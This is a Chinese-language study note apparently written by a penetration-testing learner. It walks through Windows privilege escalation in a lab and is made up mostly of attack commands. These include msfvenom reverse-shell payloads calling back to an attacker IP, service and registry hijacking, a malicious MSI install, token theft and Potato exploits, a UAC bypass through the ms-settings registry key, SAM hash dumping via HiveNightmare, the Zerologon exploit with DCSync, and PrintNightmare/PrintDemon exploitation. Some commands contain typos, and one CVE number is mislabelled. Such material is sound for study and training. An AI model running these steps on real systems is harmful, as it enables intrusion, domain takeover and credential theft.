第四部分-windows内网权限提升
前言
-
参考自Nu1L的《内网渗透体系建设》
-
以下内容仅用于合法学习,不得用于非法行为,后果自负
-
本人目前已不用下面涉及到的IP网段和IP。
-
以下操作大多是在虚拟机中进行的。
主要涉及到的IP与主机:
IP | 主机 |
---|---|
192.168.40.10 | win2012(靶机) |
192.168.40.146 | kali(攻击机) |
Windows权限分配
Guests -> User-> Administrator -> SYSTEM->TrustedInstaller
常用的提权方法
1.Windows系统内核溢出漏洞提权
2.Windows配置错误利用
3.组策略首选项提权
4.绕过UAC提权
配置错误提权
Windows中常见配置错误包括管理员凭据配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等
Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限用户对此类系统服务调用的可执行文件具有写权限,就可以将该文件换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows服务都是以system权限启动。
系统服务权限配置错误的可能:
- 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务
- 服务正在运行且无法被终止:攻击者通常会使用DLL劫持技术尝试重启服务来提权。
可信任服务路径漏洞
利用的是Windows文件路径解析的特性,并涉及服务路径的文件/文件夹权限。如果一个服务调用的可执行文件没有正确的处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。换句话说,如果一个服务的可执行文件的路径没有被双引号起来且包含空格,那么这个服务就是有漏洞的。
存在两种可能:
- 如果路径与服务有关,就任意创建一个服务或编译Service模板
- 如果路径与可执行文件有关,就任意创建一个可执行文件
计划任务提权
AccessChk用于在Windows中进行一些高级查询、管理和故障排查工作,由于是微软官方提供的工具,所以杀毒软件不会有报警,如果黑客对高权限运行的任务所在的目录有写权限,那么就可以用恶意程序覆盖原有的程序。这样,在计划任务下次执行的时候,就会以高权限运行恶意程序。
通过AccessChk查看指定目录的权限配置情况:
accesschk64.exe -dav "c:\program Files (x96)" -accepteula
4.1系统内核漏洞提权
即缓冲区溢出漏洞提权。缓冲区溢出漏洞是一种计算机程序的可更正性缺陷。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫做缓冲区溢出漏洞。成功地利用该漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获取主机的控制权。
如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。
4.1.1查找系统潜在漏洞
1.手动查找
systeminfo
wmic qfe get caption,description,hotfixid,installedon
// 通过没有列出的补丁号,结合系统版本信息,借助相关提权网站
// 寻找可用的提权漏洞
2.借助WES-NG查找
借助Windows exploit suggester项目,根据操作系统版本与systeminfo命令的执行结果进行对比。
WES-NG:
①在本机上执行以下命令,更新最新的漏洞数据库:
python3 wes.py --update
②在目标主机上执行systeminfo,并将结果保存到sysinfo.txt中,然后执行:
# 目标主机上:
systeminfo > sysinfo.txt
# kaili上
python3 wes.py sysinfo.txt --impact "Elevation of Privilege"
# --impact指定漏洞类型为提权漏洞
执行以下命令,查找所有已公开EXP的提权漏洞:
python3 wes.py sysinfo.txt --impact "Elevation of Privilege" --exploits-only
所以就是有漏洞,但没公开的EXP
4.1.2 确定并利用漏洞
在确定目标系统中存在的漏洞后,测试人员便可利用漏洞程序:
# 得到了shell之后
upload /root/CVE-2020-0787.exe # 上传用于提权的exe
shell
# 在msf的shell界面
CVE-2020-0787.exe "cmd /c whoami > \\\\.\\pipe\\showme " show
# 将当前登录用户的信息输出到名为"\\.\\pipe\showme"的命名管道中
# showme在这里是一个命名管道的名称,它可以被其他程序或脚本用来读取命令输出的结果
# 即将当前登录用户的信息通过命名管道传递给名为“showme”的实体,可能是其他程序或脚本会监听该命名管道并读取其中的内容
由于无法找到合适的exe文件,所以这里就没复现
Windows-Exploit-Suggester
github:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
python windows-exploit-suggester.py --update # 生成xls文件
systeminfo > sysinfo.txt
python windows-exploit-suggester.py --database .xlsx --systeminfo sysinfo.txt
windows下的提权大合集:https://github.com/abatchy17/WindowsExploits
windows内核溢出漏洞提权大全:https://github.com/SecWiki/windows-kernel-exploits
各大平台提权工具:https://github.com/klsfct/getshell
4.2系统服务提权
通常情况下,用户安装的一些应用软件会在本地注册一些服务,并且大多数服务在计算机开机时会以SYSTEM权限启动。应用软件再注册服务时,会在以下路径中创建相应的注册表项
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
如下图,为gupdate服务的注册表信息,其中的ImagePath键
指向该系统服务所启动的二进制程序:
gupdate是Google更新服务的名称
Windows系统服务在操作系统启动时运行,并在后台调用其相应的二进制文件。如果让服务启动时执行其他程序,该程序就可以随着服务的启动获得系统权限,这是利用系统服务提权的主要思路。
4.2.1 不安全的服务权限
ACL定义了安全对象的访问控制策略,用于规定哪些主体有哪些权限。Windows的系统服务正是通过ACL来指定用户对其拥有的权限,如:
权限 | 说明 |
---|---|
SERVICE_START | 启动服务的权限 |
SERVICE_STOP | 停止服务的权限 |
SERVICE_PAUSE_CONTINUE | 暂停/继续运行服务的权限 |
SERVICE_QUERY_STATUS | 查询服务状态的权限 |
SERVICE_QUERY_CONFIG | 查询服务配置的权限 |
SERVICE_CHANGE_CONFIG | 更改服务配置的权限 |
SERVICE_ALL_ACCESS | 完全控制权限 |
如果攻击者拥有更改服务配置的权限(SERVICE_CHANGE_CONFIG、SERVICE_ALL_ACCESS),就可以直接修改服务启动时的二进制文件路径。
可以通过AccessChk工具枚举目标主机上存在权限缺陷的系统服务。
AccessChk是微软官方提供的管理工具
相关信息:https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk
accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
新建组:
# 新建组-Administrator用户 net localgroup jinshubu /add # 删除组 net localgroup jinshubu /add # 指定用户到指定组:将zhangsan加入administrators组 net localgroup administrators zhangsan /add
"Authenticated Users"组对InsproSvc服务具有SERVICE_QUERY_CONFIG权限,此时执行以下命令,将该服务启动时执行的二进制文件替换为预先上传的攻击载荷。
# 上传文件
upload /root/reverse_tcp.exe "C:\Users\Public\reverse_tcp.exe"
# 修改服务配置
sc config InsproSvc binpath= "cmd.exe /k C:\Users\Public\reverse_tcp.exe"
# binpath,指定服务的二进制文件,注意"="后必须有一个空格
# 重启服务,模拟服务重启
shutdown -r -t 0
# 其他
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost ip # 监听
set lport 4444
set AutoRunScript migrate -f
run
这里做的是通过msf的exe,拿到win2012的shell,然后通过这个shell,上传反弹到148的的exe,然后通过服务配置,运行该exe,将win2012的shell弹到148
注意,public对应着“公用”这个文件夹!
成功实现了upload,但是不能弹shell
如果当前用户对该服务具有SERVICE_STOP和SERVICE_START权限,意味着用户拥有对服务的重启权限
sc stop <Service name>
sc start <Service name>
如果没有权限,对于启动类型为“自动”的服务,可以尝试通过重启计算机来实现服务重启
4.2.2服务注册表权限脆弱
Windows注册表中存储了每个系统服务的条目,而注册表使用ACL来管理用户对其所拥有的访问权限。如果ACL配置错误,使得一个低权限用户对服务的注册表拥有写入权限,此时可以通过修改注册表来更改服务配置,如:修改注册表中的ImagePath键,从而变更服务启动时的二进制文件路径。
① 执行以下命令,通过AccessChk在目标主机上枚举"Authenticated Users"用户组具有写入权限的服务注册表
accesschk.exe /accepteula -uvwqk "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services
② "Authenticated Users"用户组对RegSvc服务的注册表拥有完全控制权限。执行以下命令,将该服务注册表中的ImagePath键指向预先上传的攻击载荷:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RegSvc /v ImagePath /t REG_EXPAND_GZ /d "cmd.exe /k C:\Users\Public\reverse_tcp.exe" /f
③ 检查当前用户对该服务是否拥有重启权限:
accesschk.exe /accepteula -ucqv "Authenticated Users" RegSvc
4.3 MSI安装策略提权
MSI:全称为Microsoft Installer,是微软格式的应用程序安装包
漏洞成因:用户在配置MSI安装策略时,启用了"永远以高特权进行安装"(AlwaysInstallElevated,默认情况下为禁用状态),使得任何权限的用户都可以通过SYSTEM权限安装MSI程序,此时测试人员可以在目标主机上安装一个预先制作的恶意MSI文件,以获得SYSTEM权限
4.3.1 确定系统是否存在漏洞
启用“永远以高特权进行安装”:
成功利用AlwaysInstallElevated提权的关键是用户在配置MSI安装策略时启用了“永远以高特权进行安装”,该选项启用后,系统会自动在注册表的以下两个位置创建键值“1”
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
# 通过查看注册表键值来确定目标系统是否开启了AlwaysInstallElevated选项:为0x1时开启
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
4.3.2创建恶意MSI并安装
确定目标主机存在该漏洞后,使用msf生成MSI:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.146 LPORT=1234 -f msi -o reverse_tcp.msi
在现有的meterpreter会话中会将创建的MSI文件上传到目标计算机,执行:
upload /root/msi_146_1234.msi "C:\12"
shell
msiexec /quiet /qn /i reverse_tcp.msi # 安装msi
# /queit,在安装期间禁止向用户发送任何消息;/qn,无GUI模式允许;/i,常规安装
4.4访问令牌操作
Windows的操作控制模型时Windows安全性的基础构件,由访问令牌(Access Token)和安全描述符(Security Desctriptor)两部分组成,二者分别对被访问者和被访问者所拥有。通过比较访问令牌和安全描述符的内容,Windows可以对访问者是否拥有访问资源对象的能力进行判定。
4.4.1 访问令牌
描述进程或线程安全上下文的对象,包含域进程或线程关联的用户账户的标识和特权等信息。系统使用访问令牌来控制用户可以访问的安全对象,并限制用户执行相关关系系统操作的能力。
通过操作访问令牌,使正在运行的进程看起来是其他进程的子进程或属于其他用户所启动的进程.这常常使用内置的Windows API从指定的进程中复制该令牌,并将得到的访问令牌用户现有进程或生成新进程,以达到权限提升并绕过访问控制的目的.这个过程被称为令牌窃取.
win32 API | 说明 |
---|---|
OpenProcess | 根据提供的进程ID获取指定进程的句柄 |
OpenProcessToken | 获取与指定进程相关联的访问令牌的句柄 |
DuplicateTokenEx | 复制现有的访问令牌以创建一个新的访问令牌,包括创建主令牌或模拟令牌 |
ImpersonateLoggedOnUser | 调用进程来模拟登录用户的访问令牌的安全上下文 |
CreateProcessWithTokenW | 创建一个新进程及其主进程,新进程在指定令牌的安全上下文中运行 |
CreateProcessAsUserA | 创建一个新进程及其主进程,新进程在由指定令牌表示的用户的安全上下文中运行 |
令牌窃取只能在特权用户上下文中才能完成
,这是因为通过令牌创建进程使用的CreateProcessWithTokenW和CreateProcessAsUserA两个API分别要求用户必须拥有SeImpersonatePrivilege和SeAssignPrimaryTokenPrivilege/SeIncreaseQuotaPrivilege特权,拥有这两个特权的用户一般为系统管理员账户、网络服务账户、系统服务账户(如IIS,MSSQL)等。
4.4.2 常规令牌窃取操作
该操作的用处:
1.从管理员权限提升至SYSTEM、TrustedInstaller等权限
2.降权
3.用户切换
1.利用incognito.exe获取令牌
①将incognito.exe上传到主机,执行:
没找到incognito.exe,下面用的是另一个工具:TokenUtil_x64.exe
incognito.exe list_tokens -u
列举当前主机上的所有访问令牌。
使用TokenUtil_x64.exe的话:
TokenUtil_x64.exe ListTokens -u jerrybird
TokenUtil_x64.exe ListTokens -u jerrybird -v
# 切换用户
TokenUtil.exe Execute -u "DESKTOP-UIK8D53\test" -e cmd -c
2.利用MetaSploit窃取令牌
load incognito
list_tokens -u # 列出主机上所有的访问令牌
impersonate_token "NT AUTHORITY\SYSTEM" # 窃取该账户令牌
steal_token <PID> # 从指定进程中窃取令牌
成功提权
3.通过令牌获取TrustedInstaller权限
比SYSTEM更高的权限是NT SERVICE\TrustedInstaller,该权限能够修改Windows系统文件,如:
C:\Windows\servicing
该目录的作用是:
icacls "c:\windows\servicing" # icacls用于查看和修改文件或目录的访问控制列表(ACL)
/*ACL是用于管理文件和目录权限的一种机制,它确定了哪些用户或用户组可以访问、修改或执行
特定文件或目录
这是一个文件或目录权限的访问控制列表(Access Control List, ACL)的输出结果。ACL定义了对一个文件或目录的访问权限和安全设置。
下面是对ACL的解析:
- NT SERVICE\TrustedInstaller:拥有完全控制权限(Full Control)
- NT AUTHORITY\SYSTEM:具有读取和执行权限(Read and Execute)
- BUILTIN\Administrators:具有读取权限(Read)
- BUILTIN\Users:具有读取权限(Read)
- APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:具有读取权限(Read)
- APPLICATION PACKAGE AUTHORITY\所有受限制的应用程序包:具有读取权限(Read)
括号中的标识符表示特定的访问控制权限:
- (F):完全控制权限(Full Control)
- (OI):对象继承权限(Object Inherit)
- (CI):容器继承权限(Container Inherit)
- (IO):只在对象上执行权限(Inherit Only)
- (RX):读取和执行权限(Read and Execute)
- (GR):通用读取权限(Generic Read)
- (GE):通用执行权限(Generic Execute)
这个输出告诉我们,在路径
C:\Windows\servicing
下的文件或目录具有特定的访问权限设置,不同用户或用户组被授予了不同的权限级别。其中,NT SERVICE\TrustedInstaller
用户拥有最高权限,可以完全控制该文件或目录;NT AUTHORITY\SYSTEM
、BUILTIN\Administrators
、BUILTIN\Users
和APPLICATION PACKAGE AUTHORITY
用户组也有相应的读取权限。这种权限设置可以确保只有经过授权的用户或用户组能够访问和修改文件或目录,从而提高系统的安全性。
发现了NT SERVICE\TrustedInstaller账户对其具有完全控制权限(F)
从Windows vista开始系统内置了一个TrustedInstaller安全主体,拥有修改系统文件权限,专用于对系统进行维护、更新等操作。TrustedInstaller以一个账户组的形式出现,即NT SERVICE\TrustedInstaller
NT SERVICE:是一类特殊的内置账户,它们通常用于在系统服务或进程时作为默认的安全主体,也就是说,这些账户是分配给windows系统服务的用户账户,通常用于授权和限制服务访问资源和执行操作。
可以通过令牌窃取的方式获取系统TrustedInstaller权限。在启动TrustedInstaller服务时,会运行TrustedInstaller.exe程序。该程序的路径:"C:\Windows\servicing\TrustedInstaller.exe",其拥有者为NT SERVICE\TrustedInstaller
通过窃取该进程的令牌,可提升到TrustedInstaller权限.
首先开启TrustedInstaller服务:
sc start TrustedInstaller # 注意是管理员权限
然后上MSF。
记录该进程PID并执行:
steal_token 9400
分别测一下在普通用户,加入管理员组的普通用户、Administrator、提权成功后SYSTEM用户分别对应的
getuid
的值
4.4.3 Potato家族提权
Potato家族是一种十分常见的提权技术,通过操纵访问令牌,可以将已提取的Windows服务账户权限至系统SYSTEM权限。
前面讲过,使用令牌窃取的前提是用户拥有 SeAssignPrimaryTokenPrivilege或SeImpersonatePrivilege特权。这两个特权允许用户在另一个用户的安全上下文中运行代码甚至是创建新进程。Potato家族提权原理:利用这两个特权,将已获取的NT AUTHORITY\SYSTEM账户的访问令牌传入CreateProcessWithTokenW或CreateProcessAsUserA函数进行调用,从而在NT AUTHORITY\SYSTEM账户的上下文中创建新进程,以提升到SYSTEM权限
NT AUTHORITY\SYSTEM是Windows操作系统中的一个内置账户,它是拥有最高权限和特权的系统账户之一。该账户通常用于在系统启动时运行系统服务和进程,并执行许多关键操作。
实战中,若拿到了IIS等服务的Webshell或通过MSSQL服务的xp_cmdshell成功执行了系统命令,此时获取的服务账户拥有SeAssignPrimaryTokenPrivilege或SeImpersonatePrivilege特权,就可以通过Potato家族提升到SYSTEM权限
1.Rottern Potato
没有用rottenpotato.exe,但依旧提权成功
Rottern Potato,即“烂土豆”,用来将服务账户权限提升到SYSTEM权限。
下面以Microsoft IIS服务进行演示,假设以获取IIS服务账户的webshell,执行whoami /priv
命令,可以看到当前账户没有SeAssignPrimaryTokenPrivilege(替换一个进程级令牌)和SeImpersonatePrivilege(身份验证后模拟客户端)特权。
没有特权就增加特权:
以管理员权限模式运行cmd
# 提升权限:
Set-ExecutionPolicy Unrestricted
# 获取当前用户的SID:
$currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$currentUser.User
# 使用以下命令将特权添加到当前用户:
$privilege = "SeIncreaseQuotaPrivilege" # 替换为要添加的特权
$userPrivileges = New-Object System.Security.AccessControl.Privilege(,$privilege)
$currentUser.AddPrivileges($userPrivileges)
#
meterpreter>下用
getprivs
通过webshell上线mfs,向目标主机上传Rottern Potato的利用程序:
execute -Hc -f rottenpotato.exe
下载rottenpotato.exe:
运行RottenPotato.exe后,再次执行"list_token -u"命令,就能成功列举出NT AUTHORITY\SYSTEM账户的令牌,然后使用impersonate_token伪造该令牌,即可获取SYSTEM权限
全部:
meterpreter > getuid
meterpreter > load incognito
meterpreter > list_tokens -u # 失败
meterpreter > upload /root/rottenpotato.exe
meterpreter > exec -Hc -f rottenpotato.exe # 报错
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
meterpreter > getuid
2.Juicy Potato
Juicy Potato的原理与Rottern Potaato的原理几乎相同,前者是后者的扩展.
Juicy Potato可以自定义COM对象加载的窗口,根据系统版本更换可用的COM对象
JuicyPotato.exe -t t -p c:\inetpub\wwwroot\reverse_tcp.exe -l 6666 -n 135 -c {F7FD3FD6-9994-452D-8DA7-9A8FD8FD87AEEF4}
# -t:指定要使用CreateProcessWithTokenW和CreateProcessAsUserA()中的哪个函数创建进程
# -p指定要运行的程序; -l:指定COM对象加载的端口
# -n:指定本地RPC服务端口,默认为135;-c:指定要加载的COM对象的CLSID
UknowSec对原始的JuicyPotato.exe进行了改写,可以直接从webshell环境中进行利用
3.Sweet Potato
Sweet Potato集成了RottenPotato,JulyPotato,RogueWinRm和PrintSpoofer的功能,用来将服务账户全线提升到SYSTEM权限。
4.5 Bypass UAC
用户账户控制(User Account Control,UAC)是Windows操作系统采用的一种控制机制,可以阻止自动安装未经授权的应用并防止意外更改系统配置,有助于恶意软件破坏计算机。用户账户控制使应用和任务始终在非管理员账户的安全上下文中运行,除非管理员专门授予管理员级别的权限。开启UAC后,每个需要使用管理员访问令牌的应用都必须提示征得用户同意。
如果可以绕过UAC限制,使非RID 500的管理员账户可以不需用户批准直接使用管理员访问令牌,从而获得全部的管理员权限。
应用场景
一般是在通过钓鱼手段获取权限后进行
绕过UAC思路
我们可以找一些高权限运行的,但是并没有UAC提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后添加对应的值来达到绕过的目的。
4.5.1 UAC白名单
微软在用户账户控制中为一些系统程序设置了白名单,在白名单中的程序默认提升到管理员权限运行。那么就可以通过对这些白名单进行DLL劫持、DLL注入或注册表劫持等,绕过UAC并提升权限。
那么怎么获得这些在白名单中的程序?
可以使用官方的Sigcheck和Strings。
白名单有个共同的特性,就是Manifest数据中autoElevate属性的值为True。而Sigcheck可以检测程序中是否具有autoElevate属性,以ComputerDefaults.exe为例:
sigcheck.exe /accepteula -m C:\Windows\System32\ComputerDefaults.exe
sigcheck.exe下载:https://learn.microsoft.com/en-us/sysinternals/downloads/sigcheck
ComputerDefaults.exe :一个Windows系统文件,它是用于打开默认应用程序设置的可执行文件
而Strings.exxe
可以找出所有具有autoElevate属性的程序:
strings.exe /accepteula -s C:\Windows\System32\*.exe | findstr /i "autoElevate"
strings.exe用于从二进制文件中提取可见字符
/accepteula表示接受该工具程序的最终用户许可协议
-s:告诉只检索.exe文件
下面以ComputerDefaulsts.exe为例进行分析,并通过该程序绕过UAC实现提权。
直接运行该程序,打开了"默认应用"页面,并未出现UAC弹窗
②使用进程监控器Process Monitor监控ComputerDefaults.exe进程的所有操作行为(主要是监控注册表和文件的操作)。可以发现,ComputerDefaults.exe进程会先查询注册表HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command中的数据,发现该路径不存在后,继续查询注册表HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\DelegateExecute中的数据并读取。
Process Monitor:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procmon
查看注册表:(win10)
没找到ms-settings是怎么回事?
可能是换了位置:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-settings\Shell\Open\Command
(win10)
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command" /d
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
4.5.2 DLL劫持
Windows系统中很多应用程序并不是一个完整的可执行文件,被分割成一些相对独立的动态链接库(Dynamic Link),其中包含程序运行所使用的代码和数据.当应用程序启动时,相应的DLL文件就会被加载到程序进程的内存空间。
4.5.3 相关辅助工具
1. UACME
UACME是一个专用于绕过Windows UAC的开源项目,在此项目中,每种Bypass UAC的方法都有一个数字编号,由一个名为Akagi.exe(需要自行编译生成)的主程序进行统一调用。
akagi.exe [key]
2. MetaSploit下的利用
search bypassuac
成功利用了这些模块,将得到一个关闭了UAC保护的Meterpreter,然后执行getsystem命令,可直接提升到SYSTEM权限。
4.6用户凭据操作
组策略首选项提权
4.6.1 枚举Unattended凭据
无人值守(Unattended)安装允许应用程序在不需要管理员关注下自动安装.无人值守安装的问题是会在系统中残留一些配置文件,其中可能包含本地管理员的用户名和密码,常见的路径:
C:\sysprep.inf
C:\syspreg\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\Unattend.xml
C:\Windows\System32\Sysprep\Panther\Unattend.xml
可以全盘搜索上述文件,并检索User,Accounts,UserAccounts,LocalAccounts,Administrator,Password等关键字来获取管理员凭据
也可以用mfs,从Unattend配置文件中自动化检索出用户密码
use post/windows/gather/enum_unattend
set session 1
show options
4.6.2 获得组策略凭据
微软在win2008中引入了组策略首选项,允许网络管理员对指定计算机和用户配置特定的设置.网络管理员可能通过下发组策略的的方式对所有参加域的计算机的本地管理员密码进行批量修改。
- 黑客可以通过组策略首选项修改密码,也可以通过脚本破解组策略首选项文件中密码。
环境:应当是Windows server 2008 R2
2014年已经修复了这个漏洞。
在新建一个组策略后,域控制器自动在SYSVOL共享目录中生成了一个XML文件,该文件保存了组策略更新后的密码,SYSVOL是在安装活动目录时创建的一个用于存储公共文件服务器副本的共享文件夹,主要存放登录脚本、组策略数据及其它域控制器需要的域信息等,并在所有经过身份验证的域用户或者域信任用户范围内分享.
在SYSVOL目录搜索,可以找到一个名为"Groups.xml的文件,其中的cpassword字段保存了经过AES 256算法加密后的用户密码
但是,微软在2012公布了该密码的加密私钥,所以可以通过私钥将其进行解密,并且由于通过组策略批量修改的本地管理员密码都是相通的.如果获得一台机子的本地管理员密码,自己可以获取整个域内所有机器的管理权限
msf自带:
use post/windows/gather/credentials/gpp
show options
set session 1
run
4.6.3 HiveNightmare
形成原因: Windows中多个系统文件的访问控制列表ACL过于宽松,使得任何标准用户都可以从系统卷影副本中读取包括SAM,SYSTEM,SECURITY在内的多个系统文件.
利用条件:
已启用系统保护
系统上存在已创建的系统还原点
Win10还原点怎么设置? - 知乎 (zhihu.com)
系统启动本地管理员用户
注意把病毒防护删了
利用:
# 检测是否存在漏洞
icacls C:\windows\system32\config\sam
如出现"BUILTIN\Users:(I)(RX)",则有漏洞:
②将编译好的利用程序 HiveNightmare.exe-免杀上传到目标主机,直接运行:
HiveNightmare.exe下载:GossiTheDog/HiveNightmare: Exploit allowing you to read registry hives as non-admin on Windows 10 and 11 (github.com)
.\HiveNightmare.exe # 可将SAM,SYSTEM,SECURITY转播到当前目录
# 导出SAM文件中的用户哈希值,注意文件名要相对应
python secretsdump.py -sam SAM-2023-10-12 -system SYSTEM-2023-10-12 -security SECURITY-2023-10-12 LOCAL
secretsdump.py下载:Release Impacket 0.11.0 · fortra/impacket (github.com)
成功利用
得到用户的哈希值后,测试人员可以对其进行操作破解,也可以直接使用本地管理员用户进行哈希传递,从而获取目标主机的SYSTEM权限,这在后面内网横向移动的章节中有。
4.6.4 Zerologon域内提权
Zerologon(CVE-2020-1472)是Netlogon远程协议的一个特权提升漏洞,可以在不提供任何凭据的情况下通过身份验证,并实现域内提权.
该漏洞最常见的利用方法是调用Netlogon的TPC函数来重置域控制器机器账户的密码,所以不能通过改密码直接登录机器账户。但是域控制器的机器账户在默认情况下拥有DCSync权限,因此可以通过DCSync攻击导出域管理员密码的哈希值,进而获取域控权限。
DCSync:Windows server进程,用于对域中的用户和其他服务进行身份验证
1.重置域控密码
①执行:
python3 cve-2020-1472-exploit.py DC-1 192.168.40.10
https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py
②执行:
python3 secretsdump.py hack-my.com/DC-1\$@10.10.10.11 -just-dc-user "hack-my\administrator" -no-pass
使用secretsdump.py以空密码连接上域控,并导出域控制员的哈希值
③对域控制器执行PTH
mimikatz也内置了该漏洞的利用模块:
mimikatz.exe "lsadump::zerologon /target:10.10.10.11 /ntlm /null account:DC-1$/exploit" exit
2.恢复域控密码
攻击结束后,要及时恢复域控的密码,否则可能导致域控制器脱域。
当然也可以使用mimikatz进行恢复:
lsadump::postzerologon /target:hack-my.com /account:DC-1$
4.7 Print Spooler提权漏洞
Print Spooler是Windows系统的打印后台处理服务,用来管理所有本地和网络打印队列,并控制所有打印工作。该服务在Windows中默认开启。
4.7.1 PrintDemon
微软公开了名为“PrintDemon”的本地提权漏洞(CVE-2020-1048),用户可以通过Windows Print Spooler服务的缺陷,在系统上写入任意文件,并借助其他方法提升权限。具体的缺陷:
微软为了应对打印过程中可能出现的各种中断或异常的状况,引入了假脱机打印机制,该机制可以是系统在重启后恢复之前未执行完的打印任务。而重启后的Print Spooler服务程序直接使用SYSTEM权限来恢复未执行的打印任务,如果此时打印机的端口为文件路径,将在系统上造成任意文件写入。
用户可以通过写入二进制文件实现系统服务提权,也可以通过写入DLL文件进行DLL劫持。
下面以系统服务TestSvc的二进制文件为例
①通过msf生成一个EXE攻击载荷,并将载荷文件进行base64编码:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.40.146
set lport 4444
set AutoRunScript migrate -f
run
②以标准用户的身份在主机的powersploit中执行POC
import-module .\Invoke-PrintDemon.ps1
Invoke-PrintDemon -PrinterName "PrintDemon" -Portname "C:\Program Files\Test Service\TestSvc.exe" -Base64encode <Base64 code>
系统重启后,Print Spooler会将TestSvc服务的二进制文件替换成攻击载荷。系统再次重启时,攻击载荷随着TestSvc的启动继承SYSTEM权限。
也可以使用msf中PrintDemon漏洞的利用模块,在现有msf中写入dll文件:
use exploit/windows/local/cve_2020_1048_printerdemon
set session 1
set verbose true
set wfsdelay 600
set restart_target true
set payload windows/x64/meterpreter/reverse_tcp
set disablepayloadhandler false
set lhost 192.168.40.146
set lport 1234
run
4.7.2 PrintNightmare
PrintNightmare是广泛影响Windows系统各版本的严重安全漏洞,发生在Windows Print Spooler服务中,有两种变体,一种导致权限提升(CVE-2021-1675),另一种允许远程代码执行。
标准用户可以通过PrintNightmare漏洞绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动程序。若当前所控制的用户在域中,则可以连接到域控制器Print Spooler服务,并在域控中安装恶意驱动程序,进而接管整个域环境。
1.本地提权利用
下面以CVE-2021-1675为例:
1.生成DLL文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhsot=192.168.40.146 lport=1234 -f dll -o reverse_tcp.dll
② 下载并编译,将编译好的SharpPrintNightmare.exe和reverse_tcp.dll一起上传到目标主机。从标准用户权限执行:
SharpPrintNightmare.exe下载:https://github.com/cube0x0/CVE-2021-1675
whoami
SharpPrintNightmare.exe C:\Users\reverse_tcp.dll
2.CVE-2021-3527
首先在kali上生成DLL和启动msf:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhsot=192.168.40.146 lport=1234 -f dll -o reverse_tcp.dll
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
run
然后进行SMB服务的配置,修改/etc/samba/smb.conf文件内容:
[global]
map to guest = Bad User
server role = standalone server
username allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
启动服务后,在域内主机win10上访问发现SMB服务配置成功:
dir \\192.168.40.146\smb
利用exp工具攻击:
python3 CVE-2021-1675.py hack-my.com/William:William\@123@10.10.10.12 '\\192.168.40.146\smb\123.dll'